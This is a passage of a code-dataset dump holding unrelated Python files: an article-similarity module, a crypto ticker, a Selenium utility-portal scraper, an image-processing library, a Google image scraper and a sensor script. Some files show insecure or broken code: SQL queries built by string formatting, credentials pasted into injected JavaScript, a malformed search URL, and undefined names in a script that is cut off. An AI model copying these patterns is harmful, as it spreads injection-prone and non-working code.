####################\n # ####################################################################################\n\n # compare two news article\n\n # cosine similarity\n def compute_articles_content_similarity(self, art1_id, art2_id):\n art1_weight = []\n art2_weight = []\n\n # article's topic distribution (LDA)\n self.connection.cursor.execute(\"SELECT topicName, weight FROM article_topics \"\n \"WHERE articleId = '%s' \" % art1_id)\n art1_t_name = [row[0] for row in self.connection.cursor]\n\n self.connection.cursor.execute(\"SELECT topicName, weight FROM article_topics \"\n \"WHERE articleId = '%s' \" % art2_id)\n art2_t_name = [row[0] for row in self.connection.cursor]\n\n f = open(\"topics/article_topics.txt\", 'r')\n answer = {}\n for line in f:\n k, v, i = line.strip().split(',')\n answer[k.strip()] = v.strip()\n f.close()\n\n for word in answer.keys():\n if word in art1_t_name:\n art1_weight.append(float(answer[word]))\n else:\n art1_weight.append(0)\n # print(len(art1_weight))\n\n for word in answer.keys():\n if word in art2_t_name:\n art2_weight.append(float(answer[word]))\n else:\n art2_weight.append(0)\n # print(len(art2_weight))\n\n tn_tn = 1 - spatial.distance.cosine(art1_weight, art2_weight)\n\n return tn_tn\n\n # jaccard similarity\n def compute_articles_pattern_similarity(self, art1_id, art2_id):\n acc1_users = self.article_profile.get_accessed_users_by_name(art1_id)\n # print(\"Acc1_users:\", acc1_users)\n acc2_users = self.article_profile.get_accessed_users_by_name(art2_id)\n # print(\"Acc2_users:\", acc2_users)\n\n pn_pn = self.user_profile.jaccard_similarity(acc1_users, acc2_users)\n return pn_pn\n\n # jaccard similarity\n def compute_articles_entities_similarity(self, art1_id, art2_id):\n art1_entities = self.article_profile.get_article_named_entities(art1_id)\n art2_entities = self.article_profile.get_article_named_entities(art2_id)\n\n en_en = self.user_profile.jaccard_similarity(art1_entities, art2_entities)\n\n return en_en\n\n def compute_articles_profile_similarity(self, art1_id, art2_id):\n a = b = c = 1\n sim_tn_tn = self.compute_articles_content_similarity(art1_id, art2_id)\n sim_pn_pn = self.compute_articles_pattern_similarity(art1_id, art2_id)\n sim_en_en = self.compute_articles_entities_similarity(art1_id, art2_id)\n\n summary = math.pow(a, 2) + math.pow(b, 2) + math.pow(c, 2)\n sim_fn_fn = ((a * sim_tn_tn) + (b * sim_pn_pn) + (c * sim_en_en)) / math.sqrt(summary)\n # print(\"Overall similarity between articles #%s and #%s:\" % (art1_id, art2_id), sim_fn_fn)\n\n return sim_fn_fn\n","sub_path":"code/flask/myweb/profile_similarity.py","file_name":"profile_similarity.py","file_ext":"py","file_size_in_byte":6235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"548490078","text":"# -*- coding: utf-8 -*-\n\n# Gemini\n# https://docs.gemini.com/rest-api/\n\n__author__ = \"rick@anteaterllc.com\"\n\nfrom exchange import Exchange, CURRENCY\n\nclass Gemini(Exchange):\n CONFIG = {\n 'name': 'Gemini',\n 'ticker': 'https://api.gemini.com/v1/pubticker/',\n 'asset_pairs': [\n {\n 'isocode': 'XXBTZUSD',\n 'pair': 'btcusd',\n 'name': 'BTC to USD',\n 'currency': CURRENCY['usd'],\n 'volumelabel' : 'BTC'\n },\n {\n 'isocode': 'XXETZUSD',\n 'pair': 'ethusd',\n 'name': 'ETH to USD',\n 'currency': CURRENCY['usd'],\n 'volumelabel' : 'ETH'\n },\n {\n 'isocode': 'XXETZXBT',\n 'pair': 'ethbtc',\n 'name': 'ETH to BTC',\n 'currency': CURRENCY['btc'],\n 'volumelabel' : 'ETH'\n }\n ]\n }\n\n def get_ticker(self):\n return self.config['ticker'] + self.pair\n\n def _parse_result(self, asset):\n volumelabel = [item for item in self.config['asset_pairs'] if item['pair'] == self.pair][0]['volumelabel']\n label = asset.get('last')\n bid = asset.get('bid')\n ask = asset.get('ask')\n vol = asset.get('volume').get(volumelabel)\n\n return {\n 'label': label,\n 'bid': bid,\n 'high': None,\n 'low': None,\n 'ask': ask,\n 'vol': vol\n }","sub_path":"coin/exchanges/gemini.py","file_name":"gemini.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"4295028","text":"from selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support.expected_conditions import presence_of_element_located\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.common.exceptions import NoSuchElementException,TimeoutException,JavascriptException,StaleElementReferenceException\nfrom selenium.webdriver.support import expected_conditions as EC\n\nimport os\nimport pandas as pd\nimport time\nimport traceback\nimport threading\n\nfrom datetime import datetime as dt\nfrom dateutil.relativedelta import relativedelta\nfrom dateutil.parser import parse\n\n\nfrom common import get_driver\nfrom common import Log\nimport config\n\nimport json\n\ndef prepare_data(download_dir,facilityId,kind):\n for f in os.listdir(download_dir):\n header = ['meterno','date','meterreading','unit','consumption','annual','status']\n df = pd.read_csv(os.path.join(download_dir,f),skiprows=[0],names=header)\n prev_end_date = None\n prev_unit = None\n consumption = 0\n complete_data_block = []\n for i in range(len(df)):\n if df['status'][i] != 'Normal' or df['unit'][i] == 'kVAr' or df['unit'][i] == 'kVA':\n continue\n end_date = parse(df['date'][i])\n if prev_end_date == None:\n prev_end_date = end_date\n if prev_unit == None:\n prev_unit = df['unit'][i]\n if prev_end_date == end_date and prev_unit == df['unit'][i]:\n consumption += float(df['consumption'][i].replace(',','.'))\n else:\n start_date = prev_end_date - relativedelta(months=1)\n if prev_unit == 'kWh' or prev_unit == 'MWh':\n quantity = 'ENERGY'\n elif prev_unit == 'kW':\n quantity = 'POWER'\n elif prev_unit == 'm3':\n quantity = 'VOLUME'\n complete_data_block.append({'endDate':dt.strftime(prev_end_date,'%Y-%m-%d %H:%M:%S'),'startDate':dt.strftime(start_date,'%Y-%m-%d %H:%M:%S'),'value':str(consumption).replace('.',','),'unit':prev_unit,'facilityId':facilityId,'quantity':quantity,'kind':kind})\n consumption = float(df['consumption'][i].replace(',','.'))\n prev_end_date = end_date\n prev_unit = df['unit'][i]\n os.remove(os.path.join(download_dir,f))\n return complete_data_block\n\ndef KalmarEnergi(agentRunContext):\n log = Log(agentRunContext)\n\n try:\n log.job(config.JOB_RUNNING_STATUS,'{0} thread started execution'.format(agentRunContext.requestBody['agentId']))\n\n thread_id = str(threading.get_ident())\n download_dir = os.path.join(os.getcwd(),'temp','temp-'+thread_id)\n\n log.info('{0} with threadID {1} has its temp directory in {2}'.format(agentRunContext.requestBody['agentId'],thread_id,download_dir))\n\n driver = get_driver(download_dir)\n driver.maximize_window()\n driver.get(agentRunContext.homeURL)\n\n base_path = os.path.split(agentRunContext.homeURL)[0]\n\n wait = WebDriverWait(driver,100)\n\n try:\n wait.until(presence_of_element_located((By.ID,'tabCustomernumber')))\n except TimeoutException:\n log.job(config.JOB_COMPLETED_FAILED_STATUS,'Not able to load the website')\n driver.close()\n os.rmdir(download_dir)\n return()\n\n driver.execute_script(\"document.getElementById('tabCustomernumber').click();document.getElementById('txtUser').value = '{0}';document.getElementById('txtPassword').value = '{1}';document.getElementById('btnLogin').click();\".format(agentRunContext.requestBody['username'],agentRunContext.requestBody['password']))\n\n time.sleep(1)\n\n try:\n wait.until(presence_of_element_located((By.XPATH,'/html/body/form/nav/div[2]/ul/li[1]/a')))\n except TimeoutException as e:\n try:\n driver.find_element_by_id('AlertLockedAccount')\n log.job(config.JOB_COMPLETED_FAILED_STATUS,'Account is locked')\n except NoSuchElementException:\n try:\n driver.find_element_by_id('AlertLoginError')\n log.job(config.JOB_COMPLETED_FAILED_STATUS,'Unable to login, invalid username or password')\n except NoSuchElementException:\n log.job(config.JOB_COMPLETED_FAILED_STATUS, \"Unable to load website\")\n driver.close()\n return\n\n log.job(config.JOB_RUNNING_STATUS,'Logged in successfully')\n\n important_ds = {}\n\n important_ds_addr = {}\n\n start = time.time()\n\n driver.execute_script('window.location.href = \"{0}/Contract/Contracts.aspx\";'.format(base_path))\n\n log.info('window.location.href = \"{0}/Contract/Contracts.aspx\";'.format(base_path))\n\n time.sleep(1)\n\n #Wait until the loader is invisible\n wait.until(EC.invisibility_of_element_located((By.XPATH,'/html/body/form/div[3]/div[4]')))\n\n try:\n div_addrs = driver.find_element_by_id('UsePlaceContainer')\n except NoSuchElementException:\n log.job(config.JOB_COMPLETED_FAILED_STATUS,'Not able to load facilities details')\n driver.close()\n os.rmdir(download_dir)\n return\n\n options = div_addrs.find_elements_by_tag_name('option')\n\n for option in options:\n use_place_ids = option.get_attribute('value').split(',')\n\n for upid in use_place_ids:\n important_ds_addr[upid] = option.text\n \n log.info(str(important_ds_addr))\n\n # log.info('time taken for only addr is {0}'.format(time.time() - start))\n\n contractDetails = driver.find_element_by_id(\"ContractDetails\")\n \n divs = contractDetails.find_elements_by_class_name(\"filtered-status\")\n\n log.job(config.JOB_RUNNING_STATUS,'Started gathering facility ids')\n\n for div in divs:\n service_identifier = div.get_attribute('data-serviceidentifier')\n utility_id = div.get_attribute('data-utilityid')\n useplace_id = div.get_attribute('data-useplaceid')\n if ((service_identifier.strip() == '-' or len(service_identifier.strip()) == 1) and len(div.find_elements_by_class_name(\"space-10\")) > 0):\n service_identifier = important_ds_addr[useplace_id]\n if important_ds.get(useplace_id) is not None:\n important_ds[useplace_id][utility_id] = service_identifier\n else:\n important_ds[useplace_id] = {utility_id:service_identifier}\n \n index = 2\n selected_index = 2\n\n driver.find_element_by_xpath('/html/body/form/div[3]/div/div[2]/div[2]/div[2]/div[1]/div/button/div/div').click()\n\n while(1):\n # print(index)\n\n try:\n li = driver.find_element_by_xpath('/html/body/form/div[3]/div/div[2]/div[2]/div[2]/div[1]/div/div/div[2]/ul/li[{0}]'.format(index))\n click_a = li.find_element_by_tag_name('a')\n except NoSuchElementException as e:\n break\n \n if 'selected' in li.get_attribute(\"class\") and index == selected_index:\n click_a.click()\n index += 1\n continue\n else:\n click_a.click()\n selected_index = index\n\n driver.find_element_by_xpath('/html/body/form/div[3]/div/div[2]/div[2]/div[2]/div[1]/div/button/div/div').click()\n\n wait.until(EC.invisibility_of_element_located((By.XPATH,'/html/body/form/div[3]/div[4]')))\n\n contractDetails = driver.find_element_by_id(\"ContractDetails\")\n\n divs = contractDetails.find_elements_by_class_name(\"filtered-status\")\n\n for div in divs:\n service_identifier = div.get_attribute('data-serviceidentifier')\n utility_id = div.get_attribute('data-utilityid')\n useplace_id = div.get_attribute('data-useplaceid')\n if ((service_identifier.strip() == '-' or len(service_identifier.strip()) == 1) and len(div.find_elements_by_class_name(\"space-10\")) > 0):\n service_identifier = important_ds_addr[useplace_id]\n if important_ds.get(useplace_id) is not None:\n important_ds[useplace_id][utility_id] = service_identifier\n else:\n important_ds[useplace_id] = {utility_id:service_identifier}\n \n index += 1\n\n driver.execute_script('window.scrollTo(0,0);')\n \n time.sleep(1)\n\n driver.find_element_by_xpath('/html/body/form/div[3]/div/div[2]/div[2]/div[2]/div[1]/div/button/div/div').click()\n\n click_a.click()\n \n # log.info(str(important_ds))\n print(important_ds)\n\n #/Consumption/HistoricalMeterReadings.aspx\n\n driver.execute_script('window.location.href = \"{0}/Consumption/HistoricalMeterReadings.aspx\";'.format(base_path))\n\n log.info('window.location.href = \"{0}/Consumption/HistoricalMeterReadings.aspx\";'.format(base_path))\n\n useplace_id_chronological = []\n\n wait.until(EC.element_to_be_clickable((By.ID,\"UsePlaceContainer\")))\n\n # useplace_container = driver.find_element_by_id('UsePlaceContainer')\n\n # useplace_container_options = useplace_container.find_elements_by_tag_name('option')\n\n useplace_container_select = driver.find_element_by_id('UsePlaceDropDownMenu')\n\n wait.until(EC.invisibility_of_element_located((By.CLASS_NAME,\"ajax-loading\")))\n time.sleep(3)\n \n useplace_container_optgroup = useplace_container_select.find_element_by_tag_name('optgroup')\n\n useplace_container_options = useplace_container_optgroup.find_elements_by_tag_name('option')\n\n for i,up_option in enumerate(useplace_container_options):\n useplace_id_chronological.append(up_option.get_attribute('value'))\n \n print(useplace_id_chronological)\n\n available_resolution = {'E':'Timme','V':'Dag','F':'Dag','G':'Timme','K':'Dag','P':'Dag'}\n\n accessKey = {'El':'E','Vatten':'V','Fjärrvärme':'F','Fjärrkyla':'K','Naturgas':'G','El Produktion':'P'}\n\n for i in range(len(useplace_id_chronological)):\n useplace_container = driver.find_element_by_id('UsePlaceContainer')\n useplace_button = useplace_container.find_element_by_tag_name('button')\n useplace_button.click()\n time.sleep(2)\n dropdown_menu = useplace_container.find_element_by_class_name('dropdown-menu')\n dropdown_menu_ul = dropdown_menu.find_element_by_tag_name('ul')\n curr_li = dropdown_menu_ul.find_elements_by_tag_name('li')[i+1]\n address_click_a = curr_li.find_element_by_tag_name('a')\n address_click_a.click()\n wait.until(EC.invisibility_of_element_located((By.CLASS_NAME,\"ajax-loading\")))\n time.sleep(3)\n utility_type_container = driver.find_element_by_id('UtilityTypeContainer')\n utility_type_container_button = utility_type_container.find_element_by_tag_name('button')\n utility_type = utility_type_container_button.find_element_by_class_name('filter-option-inner-inner').text.strip().split()[0]\n access_key = accessKey[utility_type]\n if important_ds.get(useplace_id_chronological[i]) is not None:\n export = driver.find_element_by_id('export')\n export_items = export.find_elements_by_tag_name('li')\n facilityId = important_ds.get(useplace_id_chronological[i])[access_key]\n print(facilityId)\n outer_button = driver.find_element_by_xpath('/html/body/form/div[3]/div/div[2]/div[2]/div[4]/div[1]/div/div/div/span')\n outer_button.click()\n for export_item in export_items:\n a_tag = export_item.find_element_by_tag_name('a')\n if a_tag.text == 'csv':\n a_tag.click()\n has_downloaded = False\n download_sleep_count = 0\n while(not has_downloaded and download_sleep_count < 15):\n if len(os.listdir(download_dir)) > 0 and os.listdir(download_dir)[0][-3:] == 'csv' and download_sleep_count < 15 :\n has_downloaded = True\n time.sleep(1)\n download_sleep_count += 1\n if download_sleep_count < 15:\n complete_data_block = prepare_data(download_dir,facilityId,utility_type)\n log.data(complete_data_block)\n log.info('Indexed data for facilityId {0}'.format(facilityId))\n else:\n print('Download failed')\n log.info('Download failed for {0}'.format(facilityId))\n\n log.job(config.JOB_COMPLETED_SUCCESS_STATUS,\"Successfully scraped data for all available facilities\")\n \n except Exception as e:\n log.job(config.JOB_COMPLETED_FAILED_STATUS,str(e))\n log.exception(traceback.format_exc())\n print(traceback.format_exc())\n \n driver.close()\n os.rmdir(download_dir)","sub_path":"src/crawler_scripts/kalmar_energi.py","file_name":"kalmar_energi.py","file_ext":"py","file_size_in_byte":13415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"68096472","text":"import numpy as np\n\ndef move_left(row):\n C = len(row)\n # 0詰めの行をつくる\n non_zeros = [xi for xi in row if xi != 0]\n row.fill(0)\n for i, xi in enumerate(non_zeros):\n row[i] = xi\n\n for i in range(C - 1):\n if row[i] == row[i+1] and row[i] != 0:\n row[i] *= 2\n # i+1をつぶす。C-1(最後の要素)を残すことでサイズが小さくならないようにする\n row[i+1:C-1] = row[i+2:]\n # 最後の要素はi+1をつぶしたので0をいれる\n row[C-1] = 0\n return row\n\n\ndef move(X, command):\n if command in ('U', 'D'):\n # DはR, UはLにとみなす\n # 行列を転置することでそのようにみなせる\n virtual_command = 'R' if command == 'D' else 'L'\n # N*M行列がM*N行列になるのでMを行数Rとする\n R = M\n X = X.T\n else:\n virtual_command = command\n R = N\n\n for k in range(R):\n if virtual_command == 'R':\n # 要素の順序を逆順にする\n X[k] = X[k][::-1]\n\n X[k] = move_left(X[k])\n\n if virtual_command == 'R':\n # 要素の順序を戻す\n X[k] = X[k][::-1]\n\n if command in ('U', 'D'):\n X = X.T\n\n return X\n\n\nN, M = map(int, input().split())\nX = []\nfor i in range(N):\n X.append(list(map(int, input().split())))\n\nX = np.asarray(X)\ns = input()\n\nfor si in s:\n X = move(X, si)\n\nfor xi in X:\n print(' '.join(map(str, xi)))\n","sub_path":"privatechallenge/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"343463219","text":"#\n# Copyright (c) 2013, NVIDIA Corporation. All rights reserved.\n#\n# NVIDIA Corporation and its licensors retain all intellectual property\n# and proprietary rights in and to this software, related documentation\n# and any modifications thereto. Any use, reproduction, disclosure or\n# distribution of this software and related documentation without an express\n# license agreement from NVIDIA Corporation is strictly prohibited.\n#\n#!/usr/bin/env python\n\nimport array\nimport nvrawfile\nimport math\nimport time\n\n################################# sharpness #################################\ndef calculateSharpness(nvrf):\n # nvrf: NvRawFile object\n sharpness = 0\n\n # check if we are able to open the nvraw file\n #print \"raw file width:%d, height:%d\" % (nvrf._width, nvrf._height)\n\n # get pixels overlapping with RGGB pattern\n [lumaPixelData, width, height] = _convertRawToY(nvrf)\n\n sharpness = _sharpnessMeasure_Apply5x5Filter(\n lumaPixelData,\n width,\n height\n )\n return sharpness\n\ndef _convertRawToY(nvrf):\n # converts 16bit raw pixels into\n # 8 bit Y Luma pixels\n start_time = time.clock()\n\n width = nvrf._width\n height = nvrf._height\n bayerPhase = nvrf._bayerPhase\n pixelData = nvrf._pixelData\n\n indexOfR = bayerPhase.index('R')\n\n if(indexOfR == 0):\n start_row = 0\n start_col = 0\n elif(indexOfR == 1):\n start_row = 0\n start_col = 1\n elif(indexOfR == 2):\n start_row = 1\n start_col = 0\n elif(indexOfR == 3):\n start_row = 1\n start_col = 1\n\n yPixels = array.array('d')\n\n # remove the end since it is filtered with zeros\n # take pixels overlapping with RGGB pattern\n # convert to luma at the same time\n for i in range(start_row, height-1, 2):\n next_row = (i+1)\n\n for j in range(start_col, width-1, 2):\n next_col = (j+1)\n\n r = pixelData[(i*width) + j]\n gr = pixelData[(i*width) + next_col]\n gb = pixelData[(next_row*width) + j]\n b = pixelData[(next_row*width) + next_col]\n\n val = (0.299*r + 0.2935*(gr+gb) + 0.114*b)\n yPixels.append(val)\n\n width = int(math.ceil((width - start_col)/ 2))\n height = int(math.ceil((height - start_row) / 2))\n\n end_time = time.clock()\n #print \"convertRawToY total time: %.3gs\" % (end_time - start_time)\n\n return [yPixels, width, height]\n\ndef _sharpnessMeasure_Apply5x5Filter(\n input_image, # 10-bit Y input image data\n width, # input image dimension : width and height\n height\n ):\n\n start_time = time.clock()\n sharpness = []\n cy = 0\n cx = 0\n tt = 0\n bb = 0\n\n filter = [ 0, -1, -1, -1, 0,\n -1, 1, 1.5, 1, -1,\n -1, 1.5, 2, 1.5, -1,\n -1, 1, 1.5, 1, -1,\n 0, -1, -1, -1, 0 ]\n\n # Apply the filter\n # ll l cx r rr\n # +---+---+---+---+---+\n # tt | | | | | |\n # +---+---+---+---+---+\n # t | | | | | |\n # +---+---+---+---+---+\n # cy | | | x | | |\n # +---+---+---+---+---+\n # b | | | | | |\n # +---+---+---+---+---+\n # bb | | | | | |\n # +---+---+---+---+---+\n #print \"applying sobel operator to image of width:%d, height:%d\" % (width, height)\n\n for cy in range(2,height-2):\n t = cy - 1\n b = cy + 1\n tt = cy - 2\n bb = cy + 2\n\n for cx in range(2, width-2):\n\n l = cx - 1\n r = cx + 1\n ll = cx - 2\n rr = cx + 2\n\n # 5x5 filter\n val = -input_image[(tt*width) + l ] \\\n - input_image[(tt*width) + cx] \\\n - input_image[(tt*width) + r ] + \\\n \\\n -input_image[(t *width) + ll] + input_image[(t *width) + l ] + \\\n filter[ 7]*input_image[(t *width) + cx] + \\\n input_image[(t *width) + r ] - input_image[(t *width) + rr] + \\\n \\\n -input_image[(cy*width) + ll] + filter[11]*input_image[(cy*width) + l ] +\\\n filter[12]*input_image[(cy*width) + cx] + \\\n filter[13]*input_image[(cy*width) + r ] -input_image[(cy*width) + rr] + \\\n \\\n -input_image[(b *width) + ll] + input_image[(b *width) + l ] + \\\n filter[17]*input_image[(b *width) + cx] + \\\n input_image[(b *width) + r ] -input_image[(b *width) + rr] + \\\n \\\n -input_image[(bb*width) + l ] \\\n - input_image[(bb*width) + cx] \\\n - input_image[(bb*width) + r ]\n\n # Compute absolute value of val\n val = math.fabs(val)\n\n # Add val to focus measure\n sharpness.append(val)\n\n\n end_time = time.clock()\n #print \"sharpnessMeasure_Apply5x5Filter total time: %.3gs\" % (end_time - start_time)\n return math.fsum(sharpness)\n\n################################# cropping #################################\n\ndef cropRawImageFromCenter(nvrf, cropWidth, cropHeight):\n # crop the raw file from center: width x height crop\n\n #print \"raw file width:%d, height:%d\" % (nvrf._width, nvrf._height)\n if(cropWidth > nvrf._width):\n cropWidth = nvrf._width\n if(cropHeight > nvrf._height):\n cropHeight = nvrf._height\n\n pixelDataList = nvrf._pixelData.tolist()\n\n #print \"original pixelData length: %d\" % len(pixelDataList)\n\n x = int(math.floor(nvrf._width/2) - math.floor(cropWidth/2))\n y = int(math.floor(nvrf._height/2) - math.floor(cropHeight/2))\n\n #print \"startIndex: %d\" % (x*nvrf._width+y)\n # update bayerPhase field based on (x,y) values\n nvrf._bayerPhase = _getBayerPhaseAtRowAndCol(nvrf._bayerPhase, x, y)\n\n # empty raw file pixelData\n nvrf._pixelData = array.array('h')\n for i in range(cropHeight):\n # get width pixel data\n startIndex = int(((y + i) * nvrf._width) + x)\n endIndex = startIndex + cropWidth\n\n nvrf._pixelData.fromlist(pixelDataList[startIndex:endIndex])\n\n nvrf._width = cropWidth\n nvrf._height = cropHeight\n return True\n\ndef _getBayerPhaseAtRowAndCol(currentBayerPhase, i, j):\n \"gets the bayer phase at given row and column using current bayer phase\"\n\n odd_row = i & 0x1\n odd_col = j & 0x1\n\n bayerPhase = currentBayerPhase\n if(currentBayerPhase == \"RGGB\"):\n # R GR GB B\n # pixel at !odd_col and !odd_row is R\n if(not odd_row and odd_col):\n bayerPhase = \"GRBG\"\n elif(odd_row and not odd_col):\n bayerPhase = \"GBRG\"\n elif(odd_row and odd_col):\n bayerPhase = \"BGGR\"\n elif(currentBayerPhase == \"GRBG\"):\n # GR R B GB\n # pixel at !odd_col and !odd_row is G\n if(not odd_row and odd_col):\n bayerPhase = \"RGGB\"\n elif(odd_row and not odd_col):\n bayerPhase = \"BGGR\"\n elif(odd_row and odd_col):\n bayerPhase = \"GBRG\"\n elif(currentBayerPhase == \"GBRG\"):\n # GB B R GR\n if(not odd_row and odd_col):\n bayerPhase = \"BGGR\"\n elif(odd_row and not odd_col):\n bayerPhase = \"RGGB\"\n elif(odd_row and odd_col):\n bayerPhase = \"GRBG\"\n else:\n # B GB GR R\n if(not odd_row and odd_col):\n bayerPhase = \"GBRG\"\n elif(odd_row and not odd_col):\n bayerPhase = \"GRBG\"\n elif(odd_row and odd_col):\n bayerPhase = \"RGGB\"\n\n return bayerPhase\n\nclass TestImagePattern:\n TIP_COLORS_2x2 = 1 # Clockwise from upper left: red, green, cyan, blue\n\ndef _fillTestImage(nvrf, width, height, bayerPhase, colorFormat):\n rggb = [[0, 1], [1, 2]]\n grbg = [[1, 0], [2, 1]]\n bggr = [[2, 1], [1, 0]]\n gbrg = [[1, 2], [0, 1]]\n\n rgb = [0, 0, 0]\n\n if(bayerPhase == \"RGGB\"):\n patternArray = rggb\n elif(bayerPhase == \"GRBG\"):\n patternArray = grbg\n elif(bayerPhase == \"GBRG\"):\n patternArray = gbrg\n else:\n patternArray = bggr\n\n nvrf._pixelData.fromlist([0] * (width *height))\n if(colorFormat == TestImagePattern.TIP_COLORS_2x2):\n # fill the first quadrant with red\n rgb = [1, 0, 0]\n for row in range(height/2):\n for col in range(width/2):\n channel = patternArray[row & 0x1][col & 0x1]\n nvrf._pixelData[(row * width) + col] = rgb[channel] * 0x3ff\n\n # fill the second quadrant with green\n rgb = [0, 1, 0]\n for row in range(height/2):\n for col in range(width/2, width):\n channel = patternArray[row & 0x1][col & 0x1]\n nvrf._pixelData[row * width + col] = rgb[channel] * 0x3ff\n\n # fill the third quadrant with cyan\n rgb = [0, 1, 1]\n for row in range(height/2, height):\n for col in range(0, width/2):\n channel = patternArray[row & 0x1][col & 0x1]\n nvrf._pixelData[row * width + col] = rgb[channel] * 0x3ff\n\n # fill the fourth quadrant with blue\n rgb = [0, 0, 1]\n for row in range(height/2, height):\n for col in range(width/2, width):\n channel = patternArray[row & 0x1][col & 0x1]\n nvrf._pixelData[row * width + col] = rgb[channel] * 0x3ff\n else:\n # return all pixel values as 0\n # at this point pixelData is filled with all 0\n # so just return\n pass\n\ndef createTestNvRawFile(width, height, bayerPhase, colorFormat):\n\n nvrf = nvrawfile.NvRawFile()\n\n # initialize header\n nvrf._width = width\n nvrf._height = height\n nvrf._bayerPhase = bayerPhase\n\n nvrf._bitsPerSample = 10\n\n # initialize testable values\n nvrf._exposureTime = 0.033\n nvrf._iso = 208\n\n nvrf._sensorGains[0] = 1.0\n nvrf._sensorGains[1] = 1.0\n nvrf._sensorGains[2] = 1.0\n nvrf._sensorGains[3] = 1.0\n\n nvrf._awbGains[0] = 1.0\n nvrf._awbGains[1] = 1.0\n nvrf._awbGains[2] = 1.0\n nvrf._awbGains[3] = 1.0\n\n # initialize _pixelData to color pattern\n _fillTestImage(nvrf, width, height, bayerPhase, colorFormat)\n return nvrf\n","sub_path":"proprietary/lib/python2.6/nvcameraimageutils.py","file_name":"nvcameraimageutils.py","file_ext":"py","file_size_in_byte":10670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"273622542","text":"\"\"\"\n10-Bin OPC Response in Number and Volume Space\n==============================================\n_thumb: .4, .4\n\"\"\"\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport opcsim\nsns.set(style='ticks', font_scale=1.25)\n\n# Load the example urban distribution\nd = opcsim.load_distribution(\"Urban\")\n\n# Build a 10-bin OPC\nopc = opcsim.OPC(wl=0.658, n_bins=10, dmin=0.3)\n\n# calibrate the OPC\nopc.calibrate(\"psl\")\n\n# Set up the subplots\nfig, (ax1, ax2) = plt.subplots(2)\n\n# # Plot the histogram response\nax1 = opcsim.plots.histplot(opc.histogram(d), bins=opc.bins, ax=ax1)\n\n# Overlay the distribution\nax1 = opcsim.plots.pdfplot(d, ax=ax1)\n\n# # Repeat the above step but weight by volume\nax2 = opcsim.plots.histplot(opc.histogram(d, weight='volume'), bins=opc.bins, ax=ax2)\n\n# Overlay the distribution\nax2 = opcsim.plots.pdfplot(d, weight='volume', ax=ax2)\n\n# Remove axis labels\nax1.set_xlabel(\"\")\n\n# Remove the top and right spines\nsns.despine()\n","sub_path":"examples/opc_with_dist_number_and_vol.py","file_name":"opc_with_dist_number_and_vol.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"29786785","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Aug 20 16:11:14 2016\r\n\r\n@author: SRINIVAS\r\n\"\"\"\r\n\r\nfrom bs4 import BeautifulSoup as soup\r\nimport webbrowser\r\nimport random\r\nimport urllib.request\r\ninput1=input('Search wikipedia\\n')\r\nuser_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7'\r\n\r\nurl = 'https://www.google.com/search?q=green+apples'+'+'.join(input1.split(' '))\r\nheaders={'User-Agent':user_agent,} \r\n\r\nrequest=urllib.request.Request(url,None,headers) #The assembled request\r\nresponse = urllib.request.urlopen(request)\r\ndata = response.read() # The data u need\r\nraw=data\r\nraw=soup(raw)\r\ngsoup1=raw\r\n#print(gsoup1)\r\na=gsoup1.find_all(name='img')\r\nprint(a)\r\nurls=[]\r\nfor elem in a:\r\n urls.append(elem.get('src'))\r\nreal=[]\r\nprint(urls)\r\nfor elem in urls:\r\n if len(elem.split(input1))>=2:\r\n real.append(elem) \r\nfile=open('ih.html','w')\r\nfile.write('')\r\nfile.write('\\n')\r\nfile.write('')\r\nfile.write('\\n')\r\nfile.write('')\r\nfile.write('\\n')\r\nfile.write('

    '+str.upper(input1)+'

    ')\r\nfile.write('\\n')\r\nfier=0\r\npile=len(urls)\r\nprint(real)\r\nfor elem in real[1:10]:\r\n file.write(r'')\r\n file.write('\\n')\r\nfile.write('')\r\nfile.write('\\n')\r\nfile.write('')\r\nfile.write('\\n')\r\nfile.close()\r\nber=webbrowser.get('windows-default')\r\nber.open(r\"C:\\Users\\SRINIVAS\\Documents\\Python Scripts\"+r'\\ih.html')","sub_path":"Google search webpage.py","file_name":"Google search webpage.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"465642747","text":"import grovepi\nimport time\nimport grove6axis\nimport collections\n\nultra_low = 0\nultra_high = 0\nultra_last = 0\nconstant = 0.1\n# get a timestamp so we know when it happened\ntimestamp = time.time()\n\nprint ('time,yaw,pitch,roll,motion,ultra,ultra_low,ultra_high,ultra_median')\nwhile True:\n #read from 6-Axis Accelerometer&Compass sensor on input I1\n grove6axis.init6Axis() # start it up\n ori_feet = grove6axis.getOrientation() # returns orientation as yaw,pitch,roll\n ori_list = list(ori_feet)\n yaw = ori_list[1] * 180.0 / math.pi\n pitch = ori_list[2] * 180.0 / math.pi\n roll = ori_list[3] * 180.0 / math.pi\n # accel = grove6axis.getAccel() # get acceleration values\n\n # read from a digital sensor / PIR on input D4\n motion = grovepi.digitalRead(4)\n # read from Ultrasonic sensor on input D3\n ultra = grovepi.ultrasonicRead(3) # back door\n # Filter1 De-trending / high pass filter:\n # it removes long term bias and drift & show short term variations\n ultra_high = constant * (ultra_high + ultra - ultra_last)\n ultra_last = ultra\n # Filter2 Smoothing / low pass filter:\n # it removes random noise & shows longer term variations\n ultra_low = ultra_low * (1.0 - constant) + ultra * constant\n # Filter3 Median / Non linear filter\n historyBuffer.append(ultra)\n orderedHistory = sorted(historyBuffer)\n ultra_median = 